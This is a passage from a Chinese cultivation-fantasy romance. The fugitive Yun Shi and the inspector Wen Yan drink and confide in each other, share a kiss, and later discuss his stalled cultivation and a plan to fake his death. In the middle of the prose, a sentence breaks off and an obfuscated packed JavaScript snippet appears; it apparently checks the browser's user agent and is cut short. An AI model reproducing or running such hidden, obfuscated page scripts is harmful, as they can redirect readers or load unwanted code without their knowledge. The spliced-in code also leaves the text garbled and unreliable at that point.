他没穿袍服,只是常服,领口微敞,袖口随意卷起一截,露出线条清晰的小臂。脸上没什么醉态,只是眉眼间那股常年绷着的、属于上位者和执法者的锐利与审慎,被酒精泡得有些疏淡,化成一种更深沉的疲惫,懒洋洋地浮在表面。他手里还提着一个不大的陶土坛子,坛口用红布扎着,另一只手里是一个油纸包。 “还没歇?”温言开口,声音比平日低沉些,带着酒后特有的微哑。 云实摇摇头,站起身,有些无措。温言很少这个时辰来,更少这样……随意的样子。 温言走进院子,反手带上门,将那点市井的喧嚣彻底隔在外面。他手里提着一个不大的陶土坛子,坛口封着红布,另一手是个油纸包,隐约透出熟食的香气。他把东西搁在石桌上,陶坛底与石板接触,发出沉闷的“咚”一声。 “带了点‘烧春烬’,北边的土酿,劲儿不小。”温言说着,在石凳上坐下,动作确实比往常慢了半拍,像是肩头卸下了什么重物。他抬眼看向还站着的云实,“坐。陪我喝两盅?” 喝酒?云实愣了一下。他从未喝过酒。在青石镇,那是父辈劳累后偶尔的奢侈;在颠沛流离的日子里,更是无从谈起。他看着温言,月光下对方的脸庞显得有些朦胧,眼神里除了疲惫,似乎还有种需要什么东西来冲刷一下的郁结。拒绝的话在嘴边转了转,又咽了回去。他默默在对面的石凳上坐下。 温言似乎并不需要他明确的回答,已动手拍开了坛口的泥封。一股浓烈醇厚、带着明显辛辣和淡淡药草味的酒香立刻逸散开来,瞬间压过了院子里清淡的草木气息。他又变戏法似的从石桌下方(云实从未注意那里有个暗格)摸出两个粗瓷碗,不是什么精致器皿,就是寻常人家吃饭喝茶用的那种。 琥珀色的酒液倾入碗中,在月光下漾着微光。温言推了一碗到云实面前,自己端起另一碗,没说什么客套话,仰头便喝了一大口。喉结滚动,咽下时,他几不可察地蹙了下眉,随即长长舒了口气,仿佛那火辣辣的液体真的把胸中块垒烧化了一些。 “吃点东西,空肚喝这酒,容易上头。”温言放下碗,打开油纸包,里面是切得薄厚均匀的酱牛肉和卤得入味的豆干,油亮诱人。 云实学着他的样子,端起碗,小心翼翼地抿了一口。液体入口的瞬间,像是一道火线从舌尖烧到喉咙,再滚进胃里,灼热感猛地炸开,呛得他立刻咳嗽起来,眼泪都差点迸出。 温言看着他狼狈的样子,嘴角似乎极轻微地弯了一下,不是嘲笑,倒像是看到某种久违的、生涩的真实。 “慢点,这酒烈。”他声音平缓,又给自己倒了一些,这次喝得慢了些。 云实擦了擦呛出的泪花,脸上有些发烫,不知是酒劲还是窘迫。他夹起一片牛肉放进嘴里,咸香筋道的肉质很快中和了口腔里的灼烧感。他又尝试着喝了一小口,这次有了准备,那炽热感依旧霸道,但紧随其后的是一种奇特的暖意,从胃里扩散到四肢百骸,紧绷的神经似乎也在这暖意里稍稍松弛。 两人就这样对坐着,沉默地喝酒,吃菜。粗瓷碗偶尔轻碰,发出脆响。月光清冷地洒满小院,将他们的影子投在青砖地上。几口烈酒下肚,云实觉得脸颊耳根都热了起来,身体有些轻飘飘的,但神志却奇异地清醒,甚至比平时更敏锐些。他注意到温言喝酒的节奏,不快,但很稳,每一次吞咽都像是在完成某种仪式,驱散着白日带来的滞重。 酒过三巡,坛里的酒下去了小半,桌上的牛肉和豆干也消减了不少。夜风似乎也带了点微醺的意味,轻柔地拂过面颊。 温言放下筷子,目光落在虚空中某一点,沉默了片刻。酒意让他惯常的克制壁垒出现了缝隙,某些情绪和话语开始寻隙而出。 “今天,”他忽然开口,声音不高,但在寂静的院落里格外清晰,那里面浸透了一种深沉的疲惫,远非身体劳累可比,“了结了一桩旧案,和荒村那事……沾点边。” 云实停下咀嚼,抬眼看他。 温言没有看他,依旧望着那片被屋檐框住的夜空,星河在他眼中流淌,却映不出丝毫光亮。 “证据链是闭环的,该抓的人一个没跑,该废的修为也没留情。案卷写得滴水不漏,上报也及时。”他说到这里,停顿了一下,拿起酒碗又喝了一口,这次吞咽的动作显得有些用力。放下碗时,他唇角扯出一个极淡、也极冷的弧度,那里面没有半分笑意,只有冰冷的、近乎自嘲的意味。 “结果呢?上头驳回来三分之一。”他转动手里的粗瓷碗,看着碗沿残留的酒液,“理由是‘处置过激,易引发民间对灵兽监建制之疑虑’。”他重复着那句话,每个字都念得很轻,却像冰珠子砸在地上,“建制……呵呵。所以,后面那条若隐若现的线,就这么被轻轻放下,抹平了。仿佛那些刻意篡改的驭兽环,那些死在荒村里的冤魂,那些可能还在暗中流转的危险玩意儿……都比不上建制两个字来得要紧,来得需要维护。” 云实静静地听着。官场上的权衡与博弈,他懂得不多,但他听懂了温言话语里那股几乎要溢出来的无力与愤懑。那是一种竭尽全力挥出一拳,却打在厚重棉花墙上的感觉,闷响之后,只剩自己筋骨酸痛。他想说点什么,搜肠刮肚,却发现任何言语在此刻都显得苍白轻浮。他只能默默地将温言面前的酒碗添满。 温言似乎也不需要他回应。酒精和倾吐的欲望一旦开了闸,便有些收不住。他的目光终于从夜空收回,落在了云实身上。那眼神被酒意浸染,褪去了平日审慎的距离感,变得异常专注,也异常直接,像是要穿透云实体表那层温顺沉默的壳,直直看到内里去。 “云实,”温言叫他的名字,声音比刚才更沉了些,带着酒后的微哑和一种难以言喻的复杂情绪,“你身上这点力量……”他顿了顿,似乎在寻找最准确的描述,“弱,散乱,不成章法。若是正面对敌,一个根基扎实些的锚定期修士,恐怕都能轻易将你压制。” 这话像一根细针,轻轻刺了云实一下。他垂下眼,看着碗中晃动的酒液倒影,那里面自己的面容模糊而扭曲。 但温言的话没有结束。他停顿了片刻,那片刻的寂静里,仿佛有更深的东西在酝酿。然后,他再次开口,声音压得很低,却比刚才任何一句话都更清晰,更像是在叩问什么: “可是……它很真。” 云实猛地抬起头。 温言看着他,月光照亮他半边脸颊,另外半边隐在屋檐投下的阴影里,明暗交界处,他的神情有种说不出的复杂。 “至少,”他缓缓补充,每个字都清晰无比,“比今天堂上那些振振有词、冠冕堂皇的‘理由’,要真。” 真?哪里真? 云实他觉得自己配不上这样的目光,这样的评价。他的力量真的真吗?还是只是混乱与不堪的另一种说法?他忽然感到一阵狼狈,仿佛被人猝不及防地剥开了外壳,露出了里面那个依旧惶恐、依旧自卑、依旧靠着算计和运气跌跌撞撞走到今天的自己。 是他被迫与苏妄交易时的屈辱是真?是他发现“坳子布”秘密时那点可怜的窃喜是真?还是他此刻躲在这方小院里,看似安全实则前途渺茫的惶恐是真? 他忽然抬起头,看向对面又自斟自饮了半碗酒的温言。温言的脸在月光和酒意下柔和了许多,那种居高临下的距离感似乎也被酒精稀释了。但云实知道,这依然是天壤之别。他是通缉犯,是异类,是麻烦;温言是监察使,是庇护者,是……他无法定义的存在。 “温言,”云实听见自己的声音,带着酒后的微醺和一丝破罐破摔的直率,“有时候,我觉得自己待在这里……很奇怪。” 温言放下酒碗,抬眼看他,眼神询问。 “不像护卫,不像助手,甚至……也不太像朋友。”云实斟酌着词句,酒精让他的舌头有点打结,但思绪却异常清晰地在翻滚,“我没什么朋友。除了家人,大概就只有纸鸢,还有予那个咋咋呼呼的小子。纸鸢是共过患难的,予……算是机缘巧合。”他顿了顿,直视温言,“你……我很难把你当朋友。” 这话说出来,他自己都愣了一下,有些后悔,但又有种奇特的痛快。他等着温言的反应,或许是冷淡,或许是嘲弄。 温言只是静静地看着他,眼神深邃,看不出情绪。过了片刻,他才慢慢道:“朋友,是平等相交,坦诚相待,祸福与共。”他轻轻晃了晃碗里剩余的酒液,“我们之间,从一开始就不是平等。我有我的职责,我的考量,你有你的处境,你的需要。坦诚或许有一些,但远非全部。至于祸福……我为你提供庇护,你……”他停顿了一下,似乎在寻找合适的词,“你是我职责之外的一个……意外。所以,不是朋友,很正常。” 是啊,从一开始就不是。那是什么呢? “那你为什么……” “我很欣赏你。”温言打断了他未成形的疑问,回答得同样直接。他的目光落在云实脸上,那里面除了欣赏,似乎还有些更复杂的东西,在酒意下若隐若现,“欣赏你的韧性,欣赏你在绝境里总能抓住一点微光挣扎向前的样子,甚至……欣赏你身上这股‘乱’的力量,哪怕它弱小,哪怕它可能带来麻烦。它很……鲜活。在我周围,太多东西已经僵化,变成条文、惯例、心照不宣的规则。而你,是个例外。” “欣赏……”他喃喃重复,忽然笑了起来,笑容里有些苦涩,“温言,你知道吗?你让我把这里当家,可我……我很难‘当家’。我好像从来就没有真正能当‘家’的地方。” 温言没有说话,只是静静地看着他,做一个沉默的倾听者。 “在青石镇的家里,我是长子。父母白手起家,撑起那个布料店不容易,他们眼里看到的,是店里的生意,是弟弟妹妹的将来。我很小就要帮忙,要懂事,要忍让。我的感受?不重要。”云实的声音低了下去,带着一种遥远的迷茫,“我想读书,想科举,那是我们这样的人家唯一能稍稍改变一点门楣的路。可我考了一次,落榜了。家里没说什么,可我知道,不能再考了。店铺需要人手,弟弟妹妹慢慢大了,也要开销。不是我不想,是我不能。我得认命,把那条路让出来,哪怕我心里憋着一股劲,想着若是能再考,我未必就比那些世家子弟差……” 他猛地灌了一大口酒,呛得又咳嗽起来,眼圈有点红,不知是呛的还是别的。 “修仙……呵,修仙。”他抹了把嘴,笑容更加苦涩,“测灵根的时候,我就知道自己没戏。杂灵根,微弱得几乎感觉不到,仙门看都不会多看一眼。可我羡慕啊,羡慕那些能御剑飞行、能呼风唤雨的人,觉得他们活得像另一个世界的神仙。直到苏妄……直到他用那种方式,把我拽进了那个世界。” 云实的声音里带上了压抑的颤音。 “你知道我怎么‘入门’的吗?不是靠天赋,不是靠苦修,是靠……身体,靠算计,靠一场肮脏的交易。我恨他,又不得不倚仗他给我的那点东西。我现在的这点力量,根基是他种下的人造内丹,路径是他指引的乱道。没有他,我可能还在青石镇卖布,或者不知道死在哪次天衡宗的缉拿里。可有了他,我身上就永远打着邪门外道、关系户的烙印,连我自己都看不起自己!” “所以,温言,”他抬起头,眼睛因为酒意和情绪而显得湿漉漉的,却又亮得惊人,“你的欣赏,对我来说……很重,也很奇怪。我这样的人,配得上‘欣赏’吗?我待在这里,接受你的庇护,是不是也只是另一种形式的……依附?和当初依附苏妄,本质上有什么区别?” 温言一直没有打断他,只是听着,偶尔喝一口酒。直到云实说完,院落里只剩下夜风吹过檐角发出的极轻微呜咽,以及两人并不平稳的呼吸声。月光似乎更亮了,将石桌、酒碗、两人的轮廓照得清晰分明,也将那些翻滚的情绪暴露无遗。 许久,温言才缓缓放下酒碗。他的目光落在云实因激动和酒意而泛红的脸上,那眼神里没有了最初的疲惫和疏懒,取而代之的是一种极为复杂的情绪,像是在进行一场异常艰难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温言愣住了,像是没料到会得到这样的回应。他那总是冷静自持的脸上,第一次出现了近乎空白的神情,随即,那空白被汹涌而来的、难以名状的情绪所淹没。那情绪太复杂,有震惊,有难以置信的惊喜,有长久克制后骤然松懈的释然,还有一丝几乎让人心碎的温柔。 他们隔着石桌,隔着清冷的月光和尚未散尽的酒气,对视着。空气仿佛凝固了,又仿佛有看不见的火星在噼啪炸响。 然后,云实做出了一个让他自己事后回想都觉得疯狂大胆的举动。他摇摇晃晃地站起身,绕过石桌,走到温言面前。温言依旧坐着,仰头看着他,眼神深不见底。 云实俯下身,双手有些颤抖地捧住温言的脸。温言的脸颊微凉,皮肤光滑,带着酒后的薄热。云实能闻到他身上清冽的气息混合着“烧春烬”的醇厚味道。他没有再犹豫,闭上眼睛,凭着那一腔孤勇和酒意催生的冲动,将自己的唇,印上了温言的唇。 触感温热,带着酒液的湿润和一丝轻微的颤抖。这是一个生涩到极点的吻,毫无技巧可言,只是两片唇瓣笨拙地贴合,传递着彼此滚烫的温度和剧烈的心跳。却仿佛带着电流,瞬间击穿了两人之间所有的屏障——身份的、阶层的、过往的、小心翼翼的。 时间似乎停滞了一瞬。 温言没有推开云实,而是抬起一只手,轻轻覆上了云实捧着他脸颊的手背,另一只手则揽住了云实的腰,将他微微拉近。他加深了这个吻,不再是单纯的被动承受,而是带着一种压抑已久、终于得到许可的温柔与索取。他的唇舌引导着云实,耐心地、不容拒绝地,将这个笨拙的吻变得绵长而深入。 酒气在交缠的呼吸间弥漫,月光无声地笼罩着相拥的两人。云实觉得天旋地转,分不清是酒意上头,还是这个吻带来的冲击太大。他浑身发软,只能依靠温言揽在他腰间的手臂支撑,大脑一片空白,只剩下唇齿间陌生而令人战栗的触感,以及温言身上那令人安心的气息。 不知过了多久,这个漫长而醉人的吻才终于结束。两人微微分开,额头相抵,呼吸都有些凌乱。温言的眼睛在极近的距离凝视着云实,那里面翻滚着云实从未见过的浓烈情感,像是黑夜中终于燃起的火焰,灼热而明亮。 云实脸颊绯红,眼神迷蒙,还沉浸在方才的震撼中。酒意、情绪的大起大落、以及这个突如其来的吻,让他的体力和精神都透支了。他晃了晃,身体软软地向后倒去。 温言及时收紧了手臂,稳稳地接住了他。云实靠在他怀里,眼皮沉重得再也抬不起来,意识迅速沉入温暖的黑暗。最后的感觉,是温言结实温暖的胸膛,和他落在自己发顶的、一个极轻极柔的吻。 温言低头看着怀中已然醉倒沉睡的青年,那张平日里总是带着几分谨慎和倔强的脸,此刻全然放松,眉头舒展。月光为他苍白的脸颊镀上一层柔和的银边,长睫在眼睑下投出浅浅的阴影。 他没有立刻动作,只是这样抱着他,静静地站了一会儿,仿佛要确认这一刻的真实。夜风拂过,带着凉意,他这才小心翼翼地抱起云实转身走进屋内。 屋内陈设简单,只有一床一桌一柜。温言将云实轻轻放在床上,为他脱去鞋袜和外衣,拉过薄被盖好。云实咕哝了一声,无意识地往被子里缩了缩,睡得无知无觉。 温言站在床边,看了他片刻,眼底的火焰渐渐平息,化作一片深沉的温柔。他褪去自己的外袍,只着中衣,掀开被子,在云实身侧躺下。床榻并不宽敞,两人不可避免地贴近。 他侧过身,伸出手臂,轻轻将沉睡的云实揽入怀中。云实温热的身体靠过来,带着淡淡的酒气和属于他自己的、干净的气息。温言的下巴抵着云实的发顶,闭上眼,感受着怀中真实的重量和温度。 这是他们第二次同榻而眠了。窗外的月光流淌进来,温柔地笼罩着床榻上相拥而眠的两人,将他们的影子投在墙壁上,亲密无间。长夜寂静,唯有彼此的心跳和呼吸,交织成一片宁静而安稳的旋律,驱散了深秋的寒意,也暂时抚平了白日里所有的疲惫与纷扰。 那一晚之后,有些东西不一样了。温言带来的文书卷宗,偶尔会不小心夹带一两张无关的、画着奇怪涂鸦或写有零散诗句的纸笺,暴露了这位严谨的监察使内心某个不为人知的角落。这些发现让云实感到一种隐秘的、带着些许罪恶感的亲近。他依赖温言,这种依赖早已超越了最初的求生和利用,变得复杂难言。温言是他漂浮在这座巨大、冷漠京城里唯一的浮木,是他与过去那个青石镇布店小子、天衡宗杂役、大自在天厨子之间,一缕尚未断绝的线。他害怕这线断掉,害怕某一天温言不再推开这扇院门,自己便彻底沉没在这寂静的安全里,无声无息地“枯萎”掉——他想起自己曾脱口而出的那个词。 是的,枯萎。他的焦虑与日俱增。修为停滞带来的不仅是力量上的无力感,更是一种时间飞速流逝而自己却在原地踏步的恐慌。他像个被精心收藏起来的易碎品,保管者温言提供了最好的保存环境,却无法阻止他内在的某种东西正在缓慢死去。 日子一天天过去,如同那方被屋檐切割的天空,看似不变,内里却沉积着越来越重的滞闷。云实觉得自己的灵力运转,像是陷入了深不见底的泥潭,每一次尝试都带着粘稠的阻力,那枚异丹更像是一块被精心包裹起来的顽石,冰冷沉寂,对周遭过分“纯净”和“有序”的灵气环境无动于衷,甚至隐隐透出排斥。 温言依然会来,有时带着新的、可能对他有帮助的零散记载,有时只是带来些吃食或日常用度。他也从未忘记云实洗白身份的事情,只是从云实日渐沉默的表现和予偶尔带来的外界消息碎片中,都能隐约感知到那条路有多难走。 这天,温言来时,手里拿着一个素雅的玉瓶。 “新配的上品凝神丹,”他将玉瓶放在石桌上,声音温和,“药性比之前的更醇和些,你试着用用。修炼之事,最忌心浮气躁,平心静气,方能徐徐图之。” 云实看着那玉瓶,瓶身剔透,里面的丹药隐隐散发着一层柔和光晕,药香清正平和,闻之确实令人心神安宁。若在以往,他会感激地收下,然后继续在寂静中徒劳尝试。 他没有立刻去接,也没有像过去那样道谢。他抬起头,看向温言,眼神里有挣扎,有疲惫,还有一种温言逐渐熟悉的、不肯完全熄灭的微光。 “温言,”云实开口,声音有些干涩,但并不激烈,“我……有点待不下去了。” 温言正准备坐下,闻言动作一顿,抬眼看他,面上惯常的平静没有打破,但眼神里多了专注的探寻。 “待不下去?”他重复了一遍,语气平和,“是阵法有碍,还是缺了什么?予带来的消息让你不安了?” “不是这些。”云实摇摇头,手指无意识地攥住了自己的衣角,那是他紧张或思考时的小动作,“这里很好。太……好了。安全,安静,什么都有。”他顿了顿,似乎在努力组织语言,好让自己的表达不那么像不识好歹的抱怨,“你给我丹药,让我平心静气,我知道你是为我好。” 他拿起那个玉瓶,指尖触到微凉的瓶身,感受着里面丹药散发出的、令人舒缓却也让他的异丹隐隐不适的规整力量。 “可是我需要的可能不是更好的凝神丹,也不是更安全的环境。”他抬起头,目光直直地望进温言眼底,那里有困惑,也有极力压抑的焦灼,“我走的路需要的是乱意,是无序中的一点灵光,是压力下的反弹,甚至是……危险边缘的挣扎。” 他放下玉瓶,环视着这个被阵法保护得严严实实、灵气都经过梳理的院落,声音低了下去,带着一种近乎茫然的痛苦:“在这里,我像一棵……长在崖缝里、习惯了风吹雨打、石砾磨砺的野草,忽然被挖出来,种进了最肥沃、最干净、浇水施肥都定时定量的暖房里。我知道这暖房珍贵,知道你是花了心思的,我……我很感激。可是,这野草它不习惯啊。它觉得憋闷,觉得手脚都被无形的规矩捆住了,它的根须找不到熟悉的、粗粝的土壤,它的叶子晒不到带着尘土气的太阳……它在慢慢地,一点点地,失去那股子挣扎着也要向上的劲儿。” “我感觉到了,温言,”他看向自己的丹田位置,眉头紧锁,“我的丹,在这里,一天比一天更沉寂。继续这样下去,我怕……我怕不是它先枯竭,就是我先被这种无声无息的消磨逼疯了。” 他说完了,微微喘了口气,像是终于把一块压在心头许久的石头搬开了一些,但随之而来的不是轻松,而是更深的忐忑和不安。他垂下眼,不敢再看温言,害怕从对方脸上看到失望、不解,或者那种你不识好歹的冷漠。他这番话,无异于否定了温言这几个月来为他营造的庇护所,否定了那些精心的安排和来之不易的资源。 院子里静得能听到远处隐约的更漏声。兰草细长的叶子在夜风中极其轻微地颤动。 温言感到一丝被冒犯的不悦——他付出了心力维持的平衡被打破了。但紧接着,那点不悦便被更复杂的情绪淹没:一种奇异的了然,一丝无奈的叹息,以及……一丝微不可察的、连他自己都未必愿意承认的释然。仿佛他早已预料到这一天,只是没想到会以这样一种平静却决绝的求助方式到来。 温言走到石桌旁,没有坐下,而是拿起了那个装着上品凝神丹的玉瓶,指腹无意识地摩挲着光滑微凉的瓶身。他抬起眼,目光重新落在云实脸上,那里面没有审视,也没有被冒犯的不悦,反而是一种更深沉的专注,仿佛在仔细分辨云实话语里每一个细微的弦外之音。 “所以,”他开口,声音比平时低沉些,带着一种循循引导的平稳,“你觉得是这丹药的‘静’,这院子的‘安’,在消磨你?让你感觉……像离开了熟悉水土的草木?” “不,不是的,”云实摇了摇头,眉头微蹙,努力组织着更准确的言辞,“温言,安静和安全……这太好了。真的。我比谁都清楚,没有你给的这份安静和安全,我可能早就……” 他没说下去,但意思很明显。 “我绝对不是嫌弃这个。我感激……非常感激。” 他停顿了一下,手指无意识地攥紧了衣袖,仿佛那粗糙的触感能帮他抓住纷乱的思绪。“我说不上来……就是觉得哪里不对。不是这里不好,是……是我自己不对。”他抬眼看向温言,眼神里充满了困惑和一丝求助的意味,“就好像……我整个人,从里到外,都和这里太‘合拍’了,合拍到……我的‘那个东西’,”他指了指自己的丹田,“它都快睡着了,或者……在很温和地、慢慢地死去。” 他越说越觉得词不达意,有些着急:“我不是说‘对’不好,只是……我的路,可能本来就不是一条‘对’的路。苏妄硬塞给我的这颗‘种子’,它需要的可能就不是肥沃平整的土壤,它习惯的就是乱石缝里那点勉强挤出来的养分,是风吹雨打逼着它把根扎得更深更歪……现在这样,什么都给得妥妥当当,它反而不知道该往哪儿长了,或者……懒得长了?” 云实的比喻依旧带着他特有的质朴和笨拙。 温言静静地听着,目光始终没有离开云实的脸。良久,温言极轻地吸了口气,又缓缓吐出。他没有立刻回应,而是伸出手,动作自然而平稳地从云实微微攥紧的手边,拿起了那个玉瓶,将桌上的丹药一一收回。他的指尖擦过云实的手背,带着微凉的触感。 做完这一切,他才重新看向云实,眼神深邃,那里面翻涌着复杂的情绪,有关切,有思量,有一丝了然。他沉默了片刻,似乎在消化云实话语里的全部信息,也在快速权衡着某些事情。 “你的感觉,我明白了。”温言终于开口,声音恢复了惯常的平稳,但比平时多了一丝沉凝,“这不是你的问题,也不是这里的问题。是路……可能一开始就没铺对。”他顿了顿,“通过正常流程为你洗白,看来希望确实渺茫。上面……顾虑很深,不是证据或说辞能轻易打动的。” 他没有详述那些无形的阻力,但语气已经说明了一切。 云实的心微微往下一沉,虽然早有预感,但听到温言亲口证实,还是感到一阵窒闷。 然而,温言接下来的话,又让他提起了一口气。 “但并非没有其他办法。”温言抬起眼,目光锐利而清晰,“你等着。给我一点时间,我会再想想别的路子。”他的语气并不轻飘,反而因为认真而显得格外可靠,“这套体系运行了这么多年,总有缝隙,有旧例,有可以……迂回操作的地方。只是需要更小心,更费些周章。” 他看着云实眼中重新亮起的、混合着希望与不安的微光,语气放缓了些,带着一种明确的承诺意味:“如果……如果真的能走通,把你从明面的麻烦里摘出来,哪怕只是换一种不那么显眼的监管方式,”他略微停顿,像是在做一个重要的决定,“到时候,我会引荐你,也会……带你回去。” “回去”两个字,他说得自然,却重若千钧。那不是回这个小院,而是指向一个更正式、也更具有接纳意味的“去处”,或许是他的监察体系内的某个特殊编制,或许是其他相对宽松的监管环境,但无论如何,那意味着一种可能的“正名”,和在他羽翼之下的、新的安置。 云实怔怔地看着他,胸腔里那股淤积的焦灼和无处可去的迷茫,仿佛突然被这两句话凿开了一道口子,泄去了大半。 他紧绷的肩膀不知不觉松了下来,一直攥着衣袖的手指也缓缓放开。他点了点头,声音有些哑,却带着如释重负的信任:“嗯。我……我等你的消息。” 没有激烈的冲突,没有立刻的行动,但这次谈话,却像一次无声的校准。 那堵将他温柔禁锢的透明墙壁,似乎被自己砸出了一道裂痕,而温言没有选择修补,反而开始和他一起,从裂缝里窥探外面那个危险而真实的世界。 打破这日益胶着状态的,是几乎同时到来的两个消息。 那是一个闷热的午后,蝉鸣嘶哑。予满头大汗地冲进来,这次连翻墙的闲心都没了,直接拍的院门。他脸色有些发白,手里捏着一封火漆密封的信。 “云实哥!温大人!纸鸢姐加急送来的!”予气喘吁吁,“北边那个管事,又来了!这次带了镇北侯府一个账房先生模样的人,态度强硬了很多,说什么‘侯府采办,看上是你们的福气’,要查验全部织机,记录织工名册,还要见提供‘特殊丝线’或‘染料’的源头供货人!纸鸢姐借口供货人去南方探亲了,暂时拖住,但看样子拖不了多久!她说对方可能不只是想垄断生意,更像是在……‘找东西’!” 温言先看了一眼云实手中的信,又看了看予的脸色,没立刻问,而是径直走到石桌旁,自己倒了杯早已凉透的茶,一饮而尽。放下茶杯时,瓷底与石面碰撞,发出清脆却沉重的“咯”一声。 “四明宗内部,刚刚开完闭门会议。”温言开口,声音带着一丝压抑的沙哑,“关于近期几起涉及‘灵力器物非法篡改及滥用的串联调查’,我被正式要求‘暂缓’,并将已收集的部分关键证据,移交给宗内‘稽古堂’复核。” “稽古堂?”云实茫然,心思还缠绕在纸鸢的信上。 “一个名义上负责研究古代法术、处理历史遗留难题的冷僻堂口,”温言扯了扯嘴角,笑意冰冷,“实际上,常用来安置闲散人员,或者……处理一些不方便明面处置的‘麻烦’和‘敏感’事务。移交的理由是,‘调查方向可能触及某些传承久远的炼制古法,需由专业堂口鉴别,以免误伤友邦或古法传承者’。”他抬眼,看向云实,目光锐利如刀,“荒村事件的线索背后可能牵扯到的边境军械流转网络,还有你之前提到的、苏妄可能掌握的那些偏门炼制技术……所有这些线头,都被‘古法传承’这个袋子,一股脑装进去,然后打上了‘暂缓’的封条。” 院子里一片死寂。予缩了缩脖子,不敢出声。温言带来的消息,如同寒冬里的一盆冰水,浇灭了云实刚刚因那句“带你回去”而生出的些许暖意。体系内部的钳制,比任何外部的敌意都更让人感到无力。 云实低头,又看了看手中纸鸢的信。信里描述的侯府管事和账房的强硬做派,与温言所说的“暂缓”和“古法传承”的说辞,隐隐约约,似乎有某种晦暗的关联。但……似乎又有点对不上。他皱起眉,努力思索。 “他们要查丝线染料?织机工册?”云实抬起头,看向满脸焦急的予和闻声看过来的温言,脸上没有预想中的惊恐,反而是一种混合着疲惫与冷静的奇异神色,“他们……没提那种搭着卖的布袋?” 予被问得一愣,回想了一下,摇头:“信里没写!就说要查布料的源头!” 温言目光一闪,已然察觉云实话语里的关键,快步走近,接过信迅速浏览。云实则已经顺着自己的思路快速分析下去,语速平稳,却带着洞悉内情的笃定: “他们找错了。”云实的声音在寂静的院子里清晰响起,“坳子布能卖得好,是因为它结实便宜,织法有点我们白石坳自己琢磨出来的土办法,显得厚实耐磨些,仅此而已。它还是布,凡布。镇北侯府什么好东西没见过?为这点特色大动干戈查源头,要么是底下人想揽功或拿捏商户的惯用手段,要么……” 他停顿了一下,眼中闪过一丝锐利的光:“要么,是他们隐约感觉到了什么‘不同’,但摸错了门路。真正不同的,是我让纸鸢搭着布匹、偶尔才拿出一个当添头的那种‘布袋’。那东西用的布一样,但‘做法’完全不同。” 他看向温言,无需更多解释,温言已然明白。触及了凡人可用储物器物禁忌边缘的真正核心。侯府的人如果见识够,该追查的是那种神神秘秘、数量稀少的“布袋”从何而来,而不是大张旗鼓查一匹布的丝线染料。 “他们都在找‘不对’的东西,”云实低声说,像是对自己,也像是对温言,“侯府找的‘不对’,是以为布料里藏了宝贝。你的上头觉得‘不对’,是任何可能动摇他们觉得‘该怎样’秩序的东西,不管是荒村的邪术,还是……可能存在的、不一样的路。” 温言走到他面前,拿走了他手里被捏得有些发皱的信纸,放在石桌上。他的动作很稳,声音也沉静下来:“短期内纸鸢姑娘不会有性命之忧,但生意上的麻烦不会少。我会设法递话,让那边不至于用太下作的手段逼迫。纸鸢聪明,只要咬死布料就是普通改良,源头已断,他们查无实据,时间久了,或许也就淡了。” 他顿了顿,目光落在云实脸上,那里有清醒的认知,也有深藏的疲惫。 “至于我这边的事……和你刚才说的感觉,或许真有关联。不是具体哪件事,而是一种……氛围。上面在收紧,对一切‘不合常规’的东西,容忍度都在降低。”他呼出一口气,“所以,我答应你的事,必须更快才行。常规的路眼看越走越窄,甚至要被堵死,我们得找别的缝隙。” “我明白。”云实点了点头,将那份荒诞的庆幸和后怕压回心底,“让纸鸢坚决撇清和任何‘特殊’的关系,布料就是布料。白石坳那边,也得统一口径。至于其他的……”他看了一眼温言,“我等你的消息。” 最根本的,是这隐患源于他。只要那制作凡人可用储物袋的技艺可能性存在,且与他云实有关联的线索未被彻底掐断,类似的麻烦就可能如影随形。 夜幕彻底笼罩了小院,星光黯淡。看似平静的京城之下,暗流汹涌,而他们这一方小小的院落,已然被这暗流拍打得岌岌可危。 16. 【十四】 那夜之后,小院似乎陷入了另一种更深的寂静。温言依旧会来,但带来更多的是外界的风声和愈发不容乐观的消息——关于四明宗内部对“非规制”事物审查收紧的传闻,关于某些边境资源流通渠道的异常监控,甚至是一些关于“非法炼制窝点”被捣毁的、语焉不详的通报。这些消息碎片拼凑不出完整的图景,却弥漫着一种山雨欲来的低气压。 云实表面上恢复了按部就班的修炼,但更多的时候,他是在沉默地思考,那些念头无声却激烈地在脑海中冲撞。 为什么?为什么一个仅仅能让凡人多装几尺布、防点潮气的粗糙布袋,一旦可能被察觉与“非常规技艺”沾边,就会引来镇北侯府那样的庞然大物侧目?甚至,仅仅是其源头布料被追查,就能让温言这样的人如临大敌,立刻要求切断所有线索? 苏妄……那个随心所欲、行事近乎癫狂的男人,他掌握的秘密,他透露的禁忌知识,远比自己这点粗浅的“布袋”要惊世骇俗得多。可苏妄似乎活得好好的,还能建立起“大自在天”那样的地方。是因为他足够强?还是因为……这套看似严丝合缝的秩序,其实默认了一些“例外”?或者说,它维持的平衡,本身就需要一些在“默许”范围内活动的“乱”,来证明“序”的存在与必要? 那么,这种平衡,对谁而言是平衡?对高高在上的修仙者,对掌控资源的宗门与世家,或许是吧。可对青石镇的父母,对白石坳的村民,对纸鸢,对千千万万像他们一样,可能一辈子都触摸不到灵石、看不懂功法、只能靠着一点勤勉和运气在尘世中挣扎求存的凡人呢?这种将他们彻底隔绝在某个世界之外的“平衡”,还能称之为公平吗?还是说,在制定规则的那些存在眼中,凡人的“公平”,本就不在考量的范畴之内? 这些问题像藤蔓一样缠绕着他,找不到出口,却越缠越紧。他知道自己力量微末,思考这些近乎可笑。但他无法停止。 一次,温言来的时候,眉宇间的沉凝久久未散。两人照例说了些无关痛痒的话后,温言罕见地没有立即离开,而是在院中踱了几步,最终在云实面前停下。 “关于你身份的事,”温言开口,声音压得很低,确保只有他们两人能听清,“常规途径,几乎已无可能。上面的风向……比预想的更紧,任何涉及‘异常灵根’、‘非正统技艺’的个案,现在都被看得极严,遑论你身上还牵扯着苏妄和天衡宗的旧案。” 云实沉默地听着,这并不意外。 温言继续道,语气带着一种深思熟虑后的决断:“我在想另一个法子。或许……可以操作‘假死脱身’。” 云实抬眼看他。 